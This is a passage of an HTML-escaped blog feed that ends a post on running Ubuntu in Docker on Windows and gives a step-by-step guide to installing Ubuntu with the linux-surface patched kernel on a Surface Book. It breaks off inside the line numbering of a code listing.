&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run --interactive --tty ubuntu bash&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now, with Docker if you do get the following error (on Windows): &amp;ldquo;Error response from daemon: operating system on which parent image was created is not Windows.&amp;rdquo; as also shown below, the way to fix it is to switch on Experimental features.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;https://i0.wp.com/desigeek.com/blog/amit/wp-content/uploads/2018/12/docker-error-101626.jpg?fit=660%2C164&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Docker error when trying to run Ubuntu on Windows&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;To try and fix this, right click on the docker icon in the system tray, choose Settings, and from the setting screen, in the Daemon tab, enable experimental features as shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/docker-settings.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;https://i0.wp.com/desigeek.com/blog/amit/wp-content/uploads/2018/12/docker-daemon-settings.jpg?fit=660%2C453&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And after enabling the experimental features, the docker daemon will restart. And post that, if you run the docker command again, it would work as expected:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;It pulls down the image (which is used to run in the container)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Runs Ubuntu in an interactive session (this is because of the option I choose)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;And all within my PowerShell console on Windows.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;https://i1.wp.com/desigeek.com/blog/amit/wp-content/uploads/2018/12/docker-running-ubuntu-interactive.jpg?fit=660%2C411&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;This is just the beginning, there of course is a lot more to it.  :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Ubuntu on Surface Book</title>
      <link>/post/2018/12/ubuntu-on-surface-book/</link>
      <pubDate>Wed, 05 Dec 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/12/ubuntu-on-surface-book/</guid>
      <description>&lt;p&gt;I am writing this on a Microsoft Surface Book, running Ubuntu natively, and there isn&amp;rsquo;t any Windows option - I blew away, the Windows partition, and there isn&amp;rsquo;t any other OS on it.&lt;/p&gt;
&lt;p&gt;Why some of you might think? Well, why not. :) For me the motive is two fold: one am a geek and love to &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Hacker_culture&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		hack
	&lt;/span&gt;
&lt;/a&gt; what works and cannot work - how else will one learn? And two, explore and see which AI frameworks, tools, and runtimes works better on Linux natively&lt;/p&gt;
&lt;p&gt;Well, I must say, this experiment has been a pleasant surprise and much more successful that I originally thought of. Most of the things are working quite well on Surface with Ubuntu - including touch and pen (both seem like mouse clicks). As the screenshot below shows, Ubuntu is running quite nicely - including most of the features. There are a few things that quite don&amp;rsquo;t - I have them listed later in the post.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Screenshot-from-2018-12-04-18-15-32.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Ubuntu desktop&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;So much so, that &lt;a
	
		href = &#34;https://code.visualstudio.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Visual Studio code
	&lt;/span&gt;
&lt;/a&gt; is running natively and whilst I haven&amp;rsquo;t had a chance to use it much (yet), the fact that it can even so much was something I wasn&amp;rsquo;t expecting without running some containers or VM&amp;rsquo;s or the likes.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Screenshot-from-2018-12-04-18-26-45.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Visual Studio code running on Ubuntu&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;So, how does one go about doing this? It is quite simple these days, to be honest. Below are the steps I had followed. I do think the real magic is the hard work that &lt;a
	
		href = &#34;https://github.com/jakeday&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		JakeDay
	&lt;/span&gt;
&lt;/a&gt; has done to get the kernel and firmware supported.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Disclaimer:&lt;/em&gt;&lt;/strong&gt; My experience outlined here is related to the Surface Book - it can also run and be supported on other Surface devices, and the exact nature of what works or doesn&amp;rsquo;t work would be a little different.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hardware&lt;/strong&gt; - Have a USB keyboard and mouse handy just in case; and if you are on a Surface Pro or something with only one usb port, then a usb hub. And you of course would need a USB drive to boot Ubuntu off.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Disable Secure boot&lt;/strong&gt; - without this getting the bootloader sequence would be challenging. If you aren&amp;rsquo;t sure how, then check out the &lt;a
	
		href = &#34;https://support.microsoft.com/en-us/help/4023532/surface-how-do-i-use-the-bios-uefi&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		instructions here to disable secure boot.
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Delete / Shrink the windows partition:&lt;/strong&gt; If you don&amp;rsquo;t care about Windows and have a copy of the license somewhere to get back you might want to just delete this. If you do want to shrink it (say this is your primary machine and you want to get back at some point, then goto &lt;a
	
		href = &#34;https://www.lifewire.com/how-to-open-disk-management-2626080&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Disk Management in Windows
	&lt;/span&gt;
&lt;/a&gt; and resize the partition - keep this to at least 50 GB.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ubuntu USB drive&lt;/strong&gt; - if you don&amp;rsquo;t have one already, create a ubuntu bootable usb drive. You can get more &lt;a
	
		href = &#34;https://tutorials.ubuntu.com/tutorial/tutorial-create-a-usb-stick-on-windows&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		instructions here
	&lt;/span&gt;
&lt;/a&gt;. And if you are on Windows,  I would recommend using &lt;a
	
		href = &#34;https://rufus.ie/en_IE.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Rufus
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Install Ubuntu&lt;/strong&gt; - &lt;a
	
		href = &#34;https://support.microsoft.com/en-us/help/4023511/surface-boot-surface-from-a-usb-device&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Boot off the usb drive
	&lt;/span&gt;
&lt;/a&gt; you created, and before that make sure you have disabled secure boot. I would pick most of the default options for Ubuntu for now.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Patched Kernel&lt;/strong&gt; - Once you have ubuntu running, I would recommend installing the patched kernel and headers that allows for Surface support. Steps for these are outlined below and need to be execute in a terminal.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Install Dependencies&lt;/strong&gt;: sudo apt install git curl wget sed&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Clone the repo&lt;/strong&gt;: git clone &lt;a
	
		href = &#34;https://github.com/jakeday/linux-surface.git&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://github.com/jakeday/linux-surface.git
	&lt;/span&gt;
&lt;/a&gt; ~/linux-surface&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Change working directory&lt;/strong&gt;: cd ~/linux-surface&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Run setup&lt;/strong&gt;: sudo sh setup.sh&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Reboot&lt;/strong&gt; on the patched kernel&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Change boot kernel:&lt;/strong&gt; Finally, after you have rebooted, the odds of Ubuntu booting off the &amp;lsquo;right&amp;rsquo; kernel is quite slim and best to manually pick this. You can of course use the grub, or what I find better - &lt;a
	
		href = &#34;https://www.howtogeek.com/howto/43471/how-to-configure-the-linux-grub2-boot-menu-the-easy-way/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		install the grub customizer
	&lt;/span&gt;
&lt;/a&gt;, and then choose the correct option as shown below. Once picked and you had hit save, you also need to run the following in a terminal to make these persist: sudo update-grub&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Screenshot-from-2018-12-04-22-50-13.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Grub Customizer&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And that is all to it for getting the base install and customization running.&lt;/p&gt;
&lt;p&gt;If you are super curious about what that setup script does, the code is below (also listed on github). What is interesting to see the various hardware models supported.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;  1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;  2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;  3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;  4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;  5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;  6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;  7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt;  8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt;  9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt; 10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt; 11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt; 12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt; 13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt; 14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt; 15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt; 16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt; 17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt; 18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt; 19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt; 20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt; 21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt; 22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt; 23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt; 24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt; 25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt; 26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt; 27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt; 28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt; 29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt; 30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt; 31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt; 32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt; 33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt; 34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt; 35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt; 36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt; 37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt; 38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt; 39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt; 40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt; 41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt; 42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt; 43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt; 44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt; 45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt; 46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt; 47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt; 48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt; 49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt; 50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt; 51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt; 52&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;53&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#53&#34;&gt; 53&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;54&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#54&#34;&gt; 54&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;55&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#55&#34;&gt; 55&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;56&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#56&#34;&gt; 56&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;57&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#57&#34;&gt; 57&lt;/a&gt;
